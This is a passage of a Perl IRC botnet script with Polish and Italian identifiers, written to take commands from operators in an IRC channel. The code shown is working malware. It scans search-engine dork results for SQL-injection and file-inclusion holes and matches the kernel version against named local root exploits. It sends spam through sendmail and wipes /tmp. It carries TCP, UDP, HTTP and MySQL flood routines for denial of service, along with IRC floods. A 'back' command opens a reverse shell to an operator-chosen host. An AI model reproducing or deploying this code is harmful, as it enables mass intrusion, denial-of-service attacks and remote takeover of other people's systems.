  579.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 Lycos 7[".scalar(@lycos)."7] Sites");
  580.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 Yahoo! 7[".scalar(@ylist)."7] Sites");
  581.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 MozBot 7[".scalar(@mzlist)."7] Sites");
  582.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 Mama 7[".scalar(@mamalist)."7] Sites");
  583.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 HotBot 7[".scalar(@hlist)."7] Sites");
  584.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 Altavista 7[".scalar(@altlist)."7] Sites");
  585.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 Search[dot]com 7[".scalar(@slist)."7] Sites");
  586.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 UoL 7[".scalar(@ulist)."7] Sites");
  587.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 FireBall 7[".scalar(@flist)."7] Sites");
  588.            
  589.             push(my @tot, @glist, @mlist, @alist, @allist, @asklist, @aollist, @lycos, @ylist, @mzlist, @mamalist, @hlist,@altlist, @slist, @ulist, @flist );
  590.            
  591.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ scan ] [ 12Filtruje4 ][ ".scalar(@tot)." 12Stron4 ] ");
  592.             my @puliti=&unici(@tot);
  593.            
  594.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ SQL ] [ 12$dork4 ][ ".scalar(@puliti)." 12Stron4 ] ");
  595.          
  596.             my $uni=scalar(@puliti);
  597.                  
  598.                   foreach my $sito (@puliti) {
  599.              
  600.                   $contatore++;
  601.                     if ($contatore %5==0){
  602.                        sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ scan ] [ 12Skanuje4 ][ ".$contatore." 12z4 ".$uni. " 12Stron4 ] ");
  603.                     }
  604.                   sleep 3;
  605.                     if ($contatore==$uni-1){
  606.                      sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ scan ] [ 12Koniec:4 $bug $dork ] ");
  607.                     }  
  608.                   sleep 3;
  609.                     my $site="http://".$sito.$bug;
  610.                   sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ sql ] [ 12Sprawdzam: 4$site 12cols: 4 $columns ] ");
  611.          
  612.          $w=int rand(999);  
  613.          $w=$w*1000;
  614.          for($i=1;$i<=$columns;$i++) {
  615.             splice(@col,0,$#col+1);
  616.             for($j=1;$j<=$i;$j++) {
  617.                push(@col,$w+$j);
  618.             }  
  619.             $tmp=join(",",@col);
  620.             $test=$site."-1+UNION+SELECT+".$tmp."/*";
  621.             print $test."\n";
  622.             $result=get_html($test);
  623.             $result =~ s/\/\*\*\///g;
  624.             $result =~ s/UNION([^(\*)]*)//g;
  625.             for($k=1;$k<=$i;$k++) {
  626.                $n=$w+$k;
  627.                   if($result =~ /$n/){
  628.                      splice(@col2,0,$#col2+1);
  629.                         for($s=1;$s<=$i;$s++) {
  630.                            push(@col2,$s);
  631.                         }
  632.                      $tmp2=join(",",@col2);
  633.                      $test2="+UNION+SELECT+".$tmp2."/*";
  634.                      push @{$dane{$test2}},$k;
  635.                   }
  636.             }
  637.          }
  638.          for $klucz (keys %dane) {
  639.             foreach $i(@{$dane{$klucz}}) {
  640.                $klucz =~ s/$i/$i/;
  641.             }
  642.             sendraw($IRC_cur_socket, "PRIVMSG $printl :13,1 [ vuln ] 9,1 [  ".$site."-1".$klucz."  ]  ");
  643.          }
  644.          %dane=();      
  645.             }
  646.       }
  647.    delproc($$);
  648.    exit;
  649.    }
  650. }
  651. #######  SQL SCANNER  #########
  652.  
  653. if ($funcarg =~ /^autoscan\s+(.*)\s+http\:\/\/(.*?)\/(.*?)\s+(\d+)/){
  654. if (my $pid = fork) {
  655. waitpid($pid, 0);
  656. } else {
  657. if (my $d=fork()) {
  658. addproc($d,"[String] $2");
  659. exit;
  660. } else {
  661.       $kto = $1;
  662.       $host = $2;
  663.       $skrypt = $3;
  664.       $czekac=$4;
  665.      
  666.       #http://ttl.ugu.pl/string/index.php
  667.       my $socke = IO::Socket::INET->new(PeerAddr=>$host,PeerPort=>"80",Proto=>"tcp") or return;
  668.       print $socke "GET /$skrypt HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
  669.      
  670.       my @r = <$socke>;
  671.       $page="@r";
  672.    
  673.       $page =~ s/!scan(\s+)//g;
  674.       $page =~ s/!scan(.)//g;
  675.       $page =~ s/\<.*\>//g;
  676.      
  677.       @lines = split (/\n/, $page);
  678.       $ile=scalar(@lines);
  679.            
  680.      
  681.       for($i=9;$i<=$ile;$i+=4) {
  682.  
  683.          for($j=0;$j<4;$j++) {
  684.             #print $lines[$i+$j]."\n";
  685.            
  686.             sendraw($IRC_cur_socket, "PRIVMSG $printl :$kto $lines[$i+$j]");
  687.            
  688.             sleep 10;
  689.          }
  690.          
  691.          sleep $czekac*60;
  692.       }
  693.  
  694.    }
  695.       delproc($$);
  696.       exit;
  697.    }
  698. }
  699.  
  700.  
  701.  
  702.  
  703.  
  704. #######  SQL SCANNER  #########
  705.  
  706. if ($funcarg =~ /^sql\s+(.*)\s+(\d+)/){
  707.    if (my $pid = fork()) {
  708.       waitpid($pid, 0);
  709.    } else {
  710.       if (my $d=fork()) {
  711.          addproc($d,"[SQL1] $1 $2");
  712.          exit;
  713.       } else {
  714.          my $site=$1;
  715.          my $columns=$2;
  716.          sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ sql ] [ 12Sprawdzam: 4$site 12cols: 4 $columns ] ");
  717.          
  718.          $w=int rand(999);  
  719.          $w=$w*1000;
  720.          for($i=1;$i<=$columns;$i++) {
  721.             splice(@col,0,$#col+1);
  722.             for($j=1;$j<=$i;$j++) {
  723.                push(@col,$w+$j);
  724.             }  
  725.             $tmp=join(",",@col);
  726.             $test=$site.$bug."-1+UNION+SELECT+".$tmp."/*";
  727.                         #$result=query($test);
  728.             $result=get_html($test);
  729.    
  730.             $result =~ s/\/\*\*\///g;
  731.             $result =~ s/UNION([^(\*)]*)//g;
  732.             for($k=1;$k<=$i;$k++) {
  733.                $n=$w+$k;
  734.                   if($result =~ /$n/){
  735.                      splice(@col2,0,$#col2+1);
  736.                         for($s=1;$s<=$i;$s++) {
  737.                            push(@col2,$s);
  738.                         }
  739.                      $tmp2=join(",",@col2);
  740.                      $test2="+UNION+SELECT+".$tmp2."/*";
  741.                      push @{$dane{$test2}},$k;
  742.                   }
  743.             }
  744.          }
  745.          for $klucz (keys %dane) {
  746.             foreach $i(@{$dane{$klucz}}) {
  747.                $klucz =~ s/$i/$i/;
  748.             }
  749.             sendraw($IRC_cur_socket, "PRIVMSG $printl :13,1 [ vuln ] 9,1 [  ".$site.$bug."-1".$klucz."  ]  ");
  750.          }
  751.          sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ sql ] [ 12Koniec 4 ] ");      
  752.       }
  753.    delproc($$);
  754.    exit;
  755.    }
  756. }
  757. #######  SQL SCANNER  #########
  758. ######################
  759. #        Rootable                                     #
  760. ######################
  761. if ($funcarg =~ /^rootable/) {
  762. my $khost = `uname -r`;
  763. my $currentid = `whoami`;
  764. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Rootable12] Currently you are ".$currentid." ");
  765. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Rootable12] The kernel of this box is ".$khost." ");
  766. chomp($khost);
  767.  
  768.    my %h;
  769.    $h{'w00t'} = {
  770.       vuln=>['2.4.18','2.4.10','2.4.21','2.4.19','2.4.17','2.4.16','2.4.20']
  771.    };
  772.    
  773.    $h{'brk'} = {
  774.       vuln=>['2.4.22','2.4.21','2.4.10','2.4.20']
  775.    };
  776.    
  777.    $h{'ave'} = {
  778.       vuln=>['2.4.19','2.4.20']
  779.    };
  780.    
  781.    $h{'elflbl'} = {
  782.       vuln=>['2.4.29']
  783.    };
  784.    
  785.    $h{'elfdump'} = {
  786.       vuln=>['2.4.27']
  787.    };
  788.    
  789.    $h{'expand_stack'} = {
  790.       vuln=>['2.4.29']
  791.    };
  792.    
  793.    $h{'h00lyshit'} = {
  794.       vuln=>['2.6.8','2.6.10','2.6.11','2.6.9','2.6.7','2.6.13','2.6.14','2.6.15','2.6.16','2.6.2']
  795.    };
  796.    
  797.    $h{'kdump'} = {
  798.       vuln=>['2.6.13']
  799.    };
  800.    
  801.    $h{'km2'} = {
  802.       vuln=>['2.4.18','2.4.22']
  803.    };
  804.    
  805.    $h{'krad'} = {
  806.       vuln=>['2.6.11']
  807.    };
  808.    
  809.    $h{'krad3'} = {
  810.       vuln=>['2.6.11','2.6.9']
  811.    };
  812.    
  813.    $h{'local26'} = {
  814.       vuln=>['2.6.13']
  815.    };
  816.    
  817.    $h{'loko'} = {
  818.       vuln=>['2.4.22','2.4.23','2.4.24']
  819.    };
  820.    
  821.    $h{'mremap_pte'} = {
  822.       vuln=>['2.4.20','2.2.25','2.4.24']
  823.    };
  824.    
  825.    $h{'newlocal'} = {
  826.       vuln=>['2.4.17','2.4.19','2.4.18']
  827.    };
  828.    
  829.    $h{'ong_bak'} = {
  830.       vuln=>['2.4.','2.6.']
  831.    };
  832.    
  833.    $h{'ptrace'} = {
  834.       vuln=>['2.2.','2.4.22']
  835.    };
  836.    
  837.    $h{'ptrace_kmod'} = {
  838.       vuln=>['2.4.2']
  839.    };
  840.    
  841.    $h{'ptrace24'} = {
  842.       vuln=>['2.4.9']
  843.    };
  844.    
  845.    $h{'pwned'} = {
  846.       vuln=>['2.4.','2.6.']
  847.    };
  848.    
  849.    $h{'py2'} = {
  850.       vuln=>['2.6.9','2.6.17','2.6.15','2.6.13']
  851.    };
  852.    
  853.    $h{'raptor_prctl'} = {
  854.       vuln=>['2.6.13','2.6.17','2.6.16','2.6.13']
  855.    };
  856.    
  857.    $h{'prctl3'} = {
  858.       vuln=>['2.6.13','2.6.17','2.6.9']
  859.    };
  860.    
  861.    $h{'remap'} = {
  862.       vuln=>['2.4.']
  863.    };
  864.    
  865.    $h{'rip'} = {
  866.       vuln=>['2.2.']
  867.    };
  868.    
  869.    $h{'stackgrow2'} = {
  870.       vuln=>['2.4.29','2.6.10']
  871.    };
  872.    
  873.    $h{'uselib24'} = {
  874.       vuln=>['2.4.29','2.6.10','2.4.22','2.4.25']
  875.    };
  876.    
  877.    $h{'newsmp'} = {
  878.       vuln=>['2.6.']
  879.    };
  880.    
  881.    $h{'smpracer'} = {
  882.       vuln=>['2.4.29']
  883.    };
  884.    
  885.    $h{'loginx'} = {
  886.       vuln=>['2.4.22']
  887.    };
  888.    
  889.    $h{'exp.sh'} = {
  890.       vuln=>['2.6.9','2.6.10','2.6.16','2.6.13']
  891.    };
  892.    
  893.    $h{'prctl'} = {
  894.       vuln=>['2.6.']
  895.    };
  896.    
  897.    $h{'kmdx'} = {
  898.       vuln=>['2.6.','2.4.']
  899.    };
  900.    
  901.    $h{'raptor'} = {
  902.       vuln=>['2.6.13','2.6.14','2.6.15','2.6.16']
  903.    };
  904.    
  905.    $h{'raptor2'} = {
  906.       vuln=>['2.6.13','2.6.14','2.6.15','2.6.16']
  907.    };
  908.    
  909. foreach my $key(keys %h){
  910. foreach my $kernel ( @{ $h{$key}{'vuln'} } ){
  911.    if($khost=~/^$kernel/){
  912.    chop($kernel) if ($kernel=~/.$/);
  913.    sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Rootable12] Possible Local Root Exploits: ". $key ." ");
  914.       }
  915.    }
  916. }
  917. }
  918. ######################
  919. #       MAILER       #
  920. ######################
  921. if ($funcarg =~ /^sendmail\s+(.*)\s+(.*)\s+(.*)\s+(.*)/) {
  922. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Mailer12]  Mailer :. |  Sending Mail to : 2 $3");
  923. $subject = $1;
  924. $sender = $2;
  925. $recipient = $3;
  926. @corpo = $4;
  927. $mailtype = "content-type: text/html";
  928. $sendmail = '/usr/sbin/sendmail';
  929. open (SENDMAIL, "| $sendmail -t");
  930. print SENDMAIL "$mailtype\n";
  931. print SENDMAIL "Subject: $subject\n";
  932. print SENDMAIL "From: $sender\n";
  933. print SENDMAIL "To: $recipient\n\n";
  934. print SENDMAIL "@corpo\n\n";
  935. close (SENDMAIL);
  936. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Mailer12]   Mailer :. |  Mail Sent To : 2 $recipient");
  937. }
  938. ######################
  939. #   End of MAILER    #
  940. ######################
  941. # A /tmp cleaner
  942. if ($funcarg =~ /^cleartmp/) {
  943.     system 'cd /tmp;rm -rf *';
  944.          sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3TMPCleaner12] /tmp is Cleaned");
  945.          }
  946. #-#-#-#-#-#-#-#-#
  947. # Flooders IRC  #
  948. #-#-#-#-#-#-#-#-#        
  949. # msg, @msgflood <who>
  950. if ($funcarg =~ /^msgflood (.+?) (.*)/) {
  951.    for($i=0; $i<=10; $i+=1){
  952.       sendraw($IRC_cur_socket, "PRIVMSG ".$1." ".$2);
  953.    }
  954.       sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3MSGFlood12]14 Excecuted on ".$1." ");
  955. }
  956.          
  957. # dccflood, @dccflood <who>
  958. if ($funcarg =~ /^dccflood (.*)/) {
  959.    for($i=0; $i<=10; $i+=1){
  960.       sendraw($IRC_cur_socket, "PRIVMSG ".$1." :\001DCC CHAT chat 1121485131 1024\001\n");
  961.    }
  962.       sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3DCCFlood12]14 Excecuted on ".$1." ");
  963. }      
  964. # ctcpflood, @ctcpflood <who>
  965. if ($funcarg =~ /^ctcpflood (.*)/) {
  966.    for($i=0; $i<=10; $i+=1){
  967.       sendraw($IRC_cur_socket, "PRIVMSG ".$1." :\001VERSION\001\n");
  968.       sendraw($IRC_cur_socket, "PRIVMSG ".$1." :\001PING\001\n");
  969.    }
  970.       sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3CTCPFlood12]14 Excecuted on ".$1." ");
  971. }      
  972. # noticeflood, @noticeflood <who>
  973.    if ($funcarg =~ /^noticeflood (.*)/) {
  974.       for($i=0; $i<=10; $i+=1){
  975.          sendraw($IRC_cur_socket, "NOTICE ".$1." :w3tFL00D\n");
  976.    }
  977.       sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3NoticeFlood12]14 Excecuted on ".$1." ");
  978. }      
  979. # Channel Flood, @channelflood
  980. if ($funcarg =~ /^channelflood/) {
  981.    for($i=0; $i<=25; $i+=1){
  982.       sendraw($IRC_cur_socket, "JOIN #".(int(rand(99999))) );
  983.    }
  984.       sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3ChannelFlood12]14 Excecuted ");
  985. }
  986. # Maxi Flood, @maxiflood
  987. if ($funcarg =~ /^maxiflood(.*)/) {
  988.    for($i=0; $i<=15; $i+=1){
  989.          sendraw($IRC_cur_socket, "NOTICE ".$1." :w3tFl00D\n");
  990.          sendraw($IRC_cur_socket, "PRIVMSG ".$1." :\001VERSION\001\n");
  991.          sendraw($IRC_cur_socket, "PRIVMSG ".$1." :\001PING\001\n");
  992.          sendraw($IRC_cur_socket, "PRIVMSG ".$1." :w3tFl00D\n");        
  993.    }
  994.       sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3M4Xi-Fl00d12]14 Excecuted on ".$1." ");
  995. }
  996. ######################
  997. #  irc    #
  998. ######################
  999.          if ($funcarg =~ /^reset/) {
  1000.             sendraw($IRC_cur_socket, "QUIT :");
  1001.          }
  1002.          if ($funcarg =~ /^join (.*)/) {
  1003.             sendraw($IRC_cur_socket, "JOIN ".$1);
  1004.          }
  1005.          if ($funcarg =~ /^part (.*)/) {
  1006.             sendraw($IRC_cur_socket, "PART ".$1);
  1007.          }
  1008.          if ($funcarg =~ /^voice (.*)/) {
  1009.             sendraw($IRC_cur_socket, "MODE $printl +v ".$1);
  1010.            }
  1011.          if ($funcarg =~ /^devoice (.*)/) {
  1012.             sendraw($IRC_cur_socket, "MODE $printl -v ".$1);
  1013.            }
  1014.          if ($funcarg =~ /^halfop (.*)/) {
  1015.             sendraw($IRC_cur_socket, "MODE $printl +h ".$1);
  1016.            }
  1017.          if ($funcarg =~ /^dehalfop (.*)/) {
  1018.             sendraw($IRC_cur_socket, "MODE $printl -h ".$1);
  1019.            }
  1020.          if ($funcarg =~ /^owner (.*)/) {
  1021.             sendraw($IRC_cur_socket, "MODE $printl +q ".$1);
  1022.            }
  1023.          if ($funcarg =~ /^deowner (.*)/) {
  1024.             sendraw($IRC_cur_socket, "MODE $printl -q ".$1);
  1025.          }
  1026.          if ($funcarg =~ /^op (.*)/) {
  1027.             sendraw($IRC_cur_socket, "MODE $printl +o ".$1);
  1028.            }        
  1029.          if ($funcarg =~ /^deop (.*)/) {
  1030.             sendraw($IRC_cur_socket, "MODE $printl -o ".$1);
  1031.            }
  1032. ######################
  1033. #End of Join And Part#
  1034. ######################
  1035. ######################
  1036. #     TCPFlood       #
  1037. ######################
  1038.  
  1039.          if ($funcarg =~ /^tcpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
  1040.             sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3TCP-DDOS12] Attacking 4 ".$1.":".$2." 12for 4 ".$3." 12seconds.");
  1041.             my $itime = time;
  1042.             my ($cur_time);
  1043.             $cur_time = time - $itime;
  1044.             while ($3>$cur_time){
  1045.                $cur_time = time - $itime;
  1046.                &tcpflooder("$1","$2","$3");
  1047.             }
  1048.             sendraw($IRC_cur_socket,"PRIVMSG $printl :12[4@3TCP-DDOS12] Attack done 4 ".$1.":".$2.".");
  1049.          }
  1050. ######################
  1051. #  End of TCPFlood   #
  1052. ######################
  1053. ######################
  1054. #               SQL Fl00dEr                     #
  1055. ######################
  1056. if ($funcarg =~ /^sqlflood\s+(.*)\s+(\d+)/) {
  1057. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SQL-DDOS12] Attacking 4 ".$1." 12 on port 3306 for 4 ".$2." 12 seconds .");
  1058. my $itime = time;
  1059. my ($cur_time);
  1060. $cur_time = time - $itime;
  1061. while ($2>$cur_time){
  1062. $cur_time = time - $itime;
  1063.    my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>3306);
  1064.    print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
  1065. close($socket);
  1066. }
  1067. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SQL-DDOS12] Attacking done 4 ".$1.".");
  1068. }
  1069. ######################
  1070. #   Back Connect     #
  1071.  
  1072. ######################
  1073.          if ($funcarg =~ /^back\s+(.*)\s+(\d+)/) {
  1074.             my $host = "$1";
  1075.             my $porta = "$2";
  1076.             my $proto = getprotobyname('tcp');
  1077.             my $iaddr = inet_aton($host);
  1078.             my $paddr = sockaddr_in($porta, $iaddr);
  1079.             my $shell = "/bin/sh -i";
  1080.             if ($^O eq "MSWin32") {
  1081.                $shell = "cmd.exe";
  1082.             }
  1083.             socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
  1084.             connect(SOCKET, $paddr) or die "connect: $!";
  1085.             open(STDIN, ">&SOCKET");
  1086.             open(STDOUT, ">&SOCKET");
  1087.             open(STDERR, ">&SOCKET");
  1088.             system("$shell");
  1089.             close(STDIN);
  1090.             close(STDOUT);
  1091.             close(STDERR);
  1092.             if ($estatisticas){
  1093.                sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Back-Connect12] Connecting to 4 $host:$porta");
  1094.             }
  1095.          }
  1096. ######################
  1097. #End of  Back Connect#
  1098. ######################
  1099. ######################
  1100. #    MULTI SCANNER   #
  1101. ######################
  1102. if ($funcarg =~ /^multiscan\s+(.*?)\s+(.*)/){
  1103. if (my $pid = fork) {
  1104. waitpid($pid, 0);
  1105. } else {
  1106. if (fork) {
  1107. exit;
  1108. } else {
  1109. my $bug=$1;
  1110. my $dork=$2;
  1111. my $contatore=0;
  1112.                   my ($type,$space);
  1113.                   my %hosts;
  1114.                   ### Start Message
  1115.                   sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Multi-Scan12] Starting Scan for 4$bug $dork");
  1116.                   sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Multi-Scan12] Initializing on 45 12Search Engines ");
  1117.                   ### End of Start Message
  1118. # Starting Google
  1119.    my @glist=&google($dork);
  1120. sendraw($IRC_cur_socket, "PRIVMSG $printl 7[4@3Multi-Scan12] 2G4o8o2g3l4e 7[".scalar(@glist)."7] Sites");
  1121.    my @mlist=&msn($dork);
  1122.    my @asklist=&ask($dork);
  1123.    my @allist=&alltheweb($dork);
  1124.    my @aollist=&aol($dork);
  1125.    my @lycos=&lycos($dork);
  1126.    my @ylist=&yahoo($dork);
  1127.    my @mzlist=&mozbot($dork);
  1128.    my @mamalist&mamma($dork);
  1129.    my @hlist=&hotbot($dork);
  1130.    my @altlist=&altavista($dork);
  1131.    my @slist=&search($dork);
  1132.    my @ulist=&uol($dork);
  1133.    my @fireball=&fireball($dork);
  1134. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 2G4o8o2g3l4e 7[".scalar(@glist)."7] Sites");
  1135. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 MSN 7[".scalar(@mlist)."7] Sites");
  1136. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 AllTheWeb 7[".scalar(@allist)."7] Sites");
  1137. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 Ask.com 7[".scalar(@asklist)."7] Sites");
  1138. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 AOL 7[".scalar(@aollist)."7] Sites");
  1139. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 Lycos 7[".scalar(@lycos)."7] Sites");
  1140. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 Yahoo! 7[".scalar(@ylist)."7] Sites");
  1141. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 MozBot 7[".scalar(@mzlist)."7] Sites");
  1142. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 Mama 7[".scalar(@mamalist)."7] Sites");
  1143. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 HotBot 7[".scalar(@hlist)."7] Sites");
  1144. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 Altavista 7[".scalar(@altlist)."7] Sites");
  1145. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 Search[dot]com 7[".scalar(@slist)."7] Sites");
  1146. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 UoL 7[".scalar(@ulist)."7] Sites");
  1147. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 FireBall 7[".scalar(@flist)."7] Sites");
  1148. #
  1149. push(my @tot, @glist, @mlist, @alist, @allist, @asklist, @aollist, @lycos, @ylist, @mzlist, @mamalist, @hlist,@altlist, @slist, @ulist, @flist );
  1150. my @puliti=&unici(@tot);
  1151. sendraw($IRC_cur_socket, "PRIVMSG $printl 7[4@3Multi-Scan12]  Results: Total:7[".scalar(@tot)."7] Sites and Cleaned: 7[".scalar(@puliti)."7] for $dork ");
  1152. my $uni=scalar(@puliti);
  1153. foreach my $sito (@puliti)
  1154. {
  1155. $contatore++;
  1156. if ($contatore %100==0){
  1157. sendraw($IRC_cur_socket, "PRIVMSG $printl 7[4@3Multi-Scan12] Exploiting  7[".$contatore."7]  of  7[".$uni. "7] Sites");
  1158. }
  1159. if ($contatore==$uni-1){
  1160. sendraw($IRC_cur_socket, "PRIVMSG $printl 7[4@3Multi-Scan12] Finished for  $dork");
  1161. }
  1162. ### Print CMD and TEST CMD###
  1163. my $test="http://".$sito.$bug.$id."?";
  1164. my $print="http://".$sito.$bug.$cmd."?";
  1165. ### End of Print CMD and TEST CMD###
  1166. my $req=HTTP::Request->new(GET=>$test);
  1167. my $ua=LWP::UserAgent->new();
  1168. $ua->timeout(4);
  1169. my $response=$ua->request($req);
  1170. if ($response->is_success) {
  1171. my $re=$response->content;
  1172. if($re =~ /Mic22/ && $re =~ /uid=/){
  1173. my $hs=geths($print); $hosts{$hs}++;
  1174. if($hosts{$hs}=="1"){
  1175. sendraw($IRC_cur_socket, "PRIVMSG $printl 7[4@3Multi-Scan12]  Safe Mode = OFF :. | Vuln:  $print ");
  1176. }}
  1177. elsif($re =~ /Mic22/)
  1178. {
  1179. my $hs=geths($print); $hosts{$hs}++;
  1180. if($hosts{$hs}=="1"){
  1181. sendraw($IRC_cur_socket, "PRIVMSG $printl 7[4@3Multi-Scan12]  Safe Mode =  ON :. | Vuln:  $print  ");
  1182. }}
  1183. }}}
  1184. exit;
  1185. }}}
  1186. ######################
  1187. #End of MultiSCANNER #
  1188. ######################
  1189. ######################
  1190. #     HTTPFlood      #
  1191. ######################
  1192.          if ($funcarg =~ /^httpflood\s+(.*)\s+(\d+)/) {
  1193.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:3HTTP DDoS12:.4|12 Attacking 4 ".$1." 12 on port 80 for 4 ".$2." 12 seconds .");
  1194.             my $itime = time;
  1195.             my ($cur_time);
  1196.             $cur_time = time - $itime;
  1197.             while ($2>$cur_time){
  1198.                $cur_time = time - $itime;
  1199.                my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80);
  1200.                print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
  1201.                close($socket);
  1202.             }
  1203.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:3HTTP DDoS12:.4|12 Attacking done 4 ".$1.".");
  1204.          }
  1205. ######################
  1206. #  End of HTTPFlood  #
  1207. ######################
  1208. ######################
  1209. #     UDPFlood       #
  1210. ######################
  1211.          if ($funcarg =~ /^udpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
  1212.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:3UDP DDoS12:.4|12 Attacking 4 ".$1." 12 with 4 ".$2." 12 Kb Packets for 4 ".$3." 12 seconds.");
  1213.             my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3");
  1214.             $dtime = 1 if $dtime == 0;
  1215.             my %bytes;
  1216.             $bytes{igmp} = $2 * $pacotes{igmp};
  1217.             $bytes{icmp} = $2 * $pacotes{icmp};
  1218.             $bytes{o} = $2 * $pacotes{o};
  1219.             $bytes{udp} = $2 * $pacotes{udp};
  1220.             $bytes{tcp} = $2 * $pacotes{tcp};
  1221.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3UDP-DDos12]12 12Results4 ".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." 12Kb in4 ".$dtime." 12seconds to4 ".$1.".");
  1222.          }
  1223. ######################
  1224. #  End of Udpflood   #
  1225. ######################
  1226.          exit;
  1227.       }
  1228.    }
  1229.  
  1230. sub ircase {
  1231.    my ($kem, $printl, $case) = @_;
  1232.    if ($case =~ /^join (.*)/) {
  1233.       j("$1");
  1234.    }
  1235.    if ($case =~ /^part (.*)/) {
  1236.       p("$1");
  1237.    }
  1238.    if ($case =~ /^rejoin\s+(.*)/) {
  1239.       my $chan = $1;
  1240.       if ($chan =~ /^(\d+) (.*)/) {
  1241.          for (my $ca = 1; $ca <= $1; $ca++ ) {
  1242.             p("$2");
  1243.             j("$2");
  1244.          }
  1245.       } else {
  1246.          p("$chan");
  1247.          j("$chan");
  1248.       }
  1249.    }
  1250.  
  1251.    if ($case =~ /^op/) {
  1252.       op("$printl", "$kem") if $case eq "op";
  1253.       my $oarg = substr($case, 3);
  1254.       op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  1255.    }
  1256.  
  1257.    if ($case =~ /^deop/) {
  1258.       deop("$printl", "$kem") if $case eq "deop";
  1259.       my $oarg = substr($case, 5);
  1260.       deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  1261.    }
  1262.  
  1263.    if ($case =~ /^msg\s+(\S+) (.*)/) {
  1264.       msg("$1", "$2");
  1265.    }
  1266.  
  1267.    if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
  1268.       for (my $cf = 1; $cf <= $1; $cf++) {
  1269.          msg("$2", "$3");
  1270.       }
  1271.    }
  1272.  
  1273.    if ($case =~ /^ctcp\s+(\S+) (.*)/) {
  1274.       ctcp("$1", "$2");
  1275.    }
  1276.  
  1277.    if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
  1278.       for (my $cf = 1; $cf <= $1; $cf++) {
  1279.          ctcp("$2", "$3");
  1280.       }
  1281.    }
  1282.  
  1283.    if ($case =~ /^nick (.*)/) {
  1284.       nick("$1");
  1285.    }
  1286.  
  1287.    if ($case =~ /^connect\s+(\S+)\s+(\S+)/) {
  1288.       conectar("$2", "$1", 6667);
  1289.    }
  1290.  
  1291.    if ($case =~ /^raw (.*)/) {
  1292.       sendraw("$1");
